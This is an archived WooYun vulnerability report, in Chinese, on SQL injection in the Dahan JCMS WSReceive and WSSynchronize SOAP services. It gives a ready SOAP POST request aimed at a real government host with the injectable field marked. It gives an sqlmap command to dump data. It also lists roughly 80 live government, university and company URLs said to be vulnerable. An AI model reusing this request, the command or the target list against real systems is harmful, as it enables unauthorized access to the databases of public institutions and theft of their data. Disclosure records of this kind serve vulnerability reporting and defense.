当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089965

漏洞标题:大汉jcms多处SQL注入二(附80个案例)

相关厂商:南京大汉网络有限公司

漏洞作者: 路人甲

提交时间:2015-01-05 10:19

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-05: 细节已通知厂商并且等待厂商处理中
2015-01-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-03-06: 细节向核心白帽子及相关领域专家公开
2015-03-16: 细节向普通白帽子公开
2015-03-26: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

一类很明显,但目前不容易发现的漏洞

详细说明:

webservice 漏洞,目前非常多的系统均有该service
恰巧的是,该service的漏洞,是不被人注意的,因而 教容易产生漏洞
/jcms/services/WSReceive?wsdl
下图的多个方法,方法中的多个参数均存在注入

0.jpg


随便选取一个方法进行测试
/jcms/services/WSReceive?wsdl wsGetColumn方法
用WSockExpert v0.7抓包,并保存为wooyun.txt

00.jpg


POST /jcms/services/WSReceive?wsdl HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 121
Host: www.wugang.gov.cn
Connection: Keep-Alive
User-Agent: google
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:rec="http://receive.blf.jcms">
<soapenv:Header/>
<soapenv:Body>
<rec:wsGetColumn soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<strWebId xsi:type="xsd:string">wooyun</strWebId>
<strLoginId xsi:type="xsd:string">wooyun*</strLoginId>
<strPwd xsi:type="xsd:string">wooyun</strPwd>
<strKey xsi:type="xsd:string">wooyun</strKey>
</rec:wsGetColumn>
</soapenv:Body>
</soapenv:Envelope>


www.wugang.gov.cn

1.jpg


www.cshtz.gov.cn

a.jpg


www.njqh.gov.cn

aa.jpg


www.sihong.gov.cn

aaa.jpg


可以直接用SQLMAP跑出的数据 sqlmap.py -r wooyun.txt

2.jpg


案例:
http://www.changde.gov.cn/jcms/services/WSReceive?wsdl
http://www.cshtz.gov.cn/jcms/services/WSReceive?wsdl
http://www.njqh.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.lg.gov.cn/jcms/service/WSSynchronize?wsdl
http://gzw.zj.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.sqsc.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.dongtai.gov.cn/jcms/services/WSReceive?wsdl
http://www.sdfgw.gov.cn/jcms/service/WSSynchronize?wsdl
http://ipad.zaozhuang.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.taizhou.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.sihong.gov.cn/jcms/services/WSReceive?wsdl
http://ggzy.jinan.gov.cn/jcms/services/WSReceive?wsdl
http://www.wugang.gov.cn/jcms/services/WSReceive?wsdl
http://www.gzlps.gov.cn/jcms/services/WSReceive?wsdl
http://www.zpgt.gov.cn/jcms/services/WSReceive?wsdl
http://www.taojiang.gov.cn/jcms/services/WSReceive?wsdl
http://tz.lda.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.huimin.gov.cn/jcms/service/WSSynchronize?wsdl
http://autoweb.zjwst.gov.cn/jcms2.5//services/WSSynchronize?wsdl
http://www.cncn.gov.cn/jcms/services/WSReceive?wsdl
http://jsxy.zucc.edu.cn/jcms/services/WSReceive?wsdl
http://www.gzdpc.gov.cn//jcms/services/WSReceive?wsdl
http://www.ceec.net.cn/jcms/services/WSReceive?wsdl
http://www.lixia.gov.cn/jcms/services/WSReceive?wsdl
http://www.jinhua.gov.cn/jcms/services/WSReceive?wsdl
http://zzb.10.gov.cn/jcms/services/WSReceive?wsdl
http://www.ninghai.gov.cn/jcms/services/WSReceive?wsdl
http://www.sihong.gov.cn/jcms/services/WSReceive?wsdl
http://www.jining.gov.cn/jcms/services/WSReceive?wsdl
http://www.jc.gansu.gov.cn/jcms/services/WSReceive?wsdl
http://www.zgzhijiang.gov.cn/jcms/services/WSReceive?wsdl
http://www.hzgjj.gov.cn/jcms/services/WSReceive?wsdl
http://anxiang.gov.cn/jcms/services/WSReceive?wsdl
http://jcms.nantong.gov.cn/jcms/services/WSReceive?wsdl
http://www.geta.gov.cn/jcms/services/WSReceive?wsdl
http://pub.jsds.gov.cn/jcms/services/WSReceive?wsdl
http://www.sinotrans.com/jcms/service/WSSynchronize?wsdl
http://www.jc.gansu.gov.cn/jcms/services/WSReceive?wsdl
http://www.nbxsws.gov.cn/jcms/services/WSReceive?wsdl
http://www.jsforestry.gov.cn/jcms/services/WSReceive?wsdl
http://www.lc-news.com/jcms/services/WSReceive?wsdl
http://www.xinghua.gov.cn/jcms/services/WSReceive?wsdl
http://autoweb.zjwst.gov.cn/jcms2.5/services/WSSynchronize?wsdl
http://www.jinxiang.gov.cn/jcms/services/WSReceive?wsdl
http://www.sdxm.gov.cn/jcms25/service/WSSynchronize?wsdl
http://www.xwzf.gov.cn/jcms24/service/WSSynchronize?wsdl
http://www.zjdpc.gov.cn/jcms/services/WSReceive?wsdl
http://www.jskx.org.cn/jcms/service/WSSynchronize?wsdl
http://www.lzcgq.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.jdxc.net/jcms/service/WSSynchronize?wsdl
http://sfl.zucc.edu.cn/jcms/service/WSSynchronize?wsdl
http://nyyey.news.tcedu.com.cn/jcms/service/WSSynchronize?wsdl
http://edu.tcjmxx.cn/jcms/service/WSSynchronize?wsdl
http://www.haiyan.gov.cn/jcms/service/WSSynchronize?wsdl
http://jiaowuchu.blcu.edu.cn/jcms/service/WSSynchronize?wsdl
http://xjco.cscec.com/jcms/service/WSSynchronize?wsdl
http://www.sinotrans-csc.com/jcms/service/WSSynchronize?wsdl
http://njzx.news.tcedu.com.cn/jcms/service/WSSynchronize?wsdl
http://www.weihai.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.rongcheng.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.yidu.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.tzhl.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.cxyx.cn/jcms/service/WSSynchronize?wsdl
http://www.lda.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.tcedu.com.cn/jcms/service/WSSynchronize?wsdl
http://www.blcu.edu.cn/jcms/service/WSSynchronize?wsdl
http://jiaowuchu.blcu.edu.cn/jcms/service/WSSynchronize?wsdl
http://www.yzu.edu.cn/jcms/service/WSSynchronize?wsdl
http://www.gzwd.gov.cn/jcms/services/WSReceive?wsdl
http://www.sdfda.gov.cn/jcms/services/WSReceive?wsdl
http://www.czzl.gov.cn/jcms/services/WSReceive?wsdl
http://yxy.zucc.edu.cn/jcms/service/WSSynchronize?wsdl
http://www.bisu.edu.cn/jcms/service/WSSynchronize?wsdl
http://www.nanxun.gov.cn/jcms/services/WSReceive?wsdl
http://www.sheshantravel.com/jcms/services/WSReceive?wsdl
http://sha.sinotrans.com/jcms/service/WSSynchronize?wsdl
http://www.lzcgq.gov.cn/jcms/service/WSSynchronize?wsdl
http://www.sinotrans-csc.com/jcms/services/WSReceive?wsdl
http://fx.10.gov.cn/jcms/services/WSReceive?wsdl

漏洞证明:

2.jpg

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无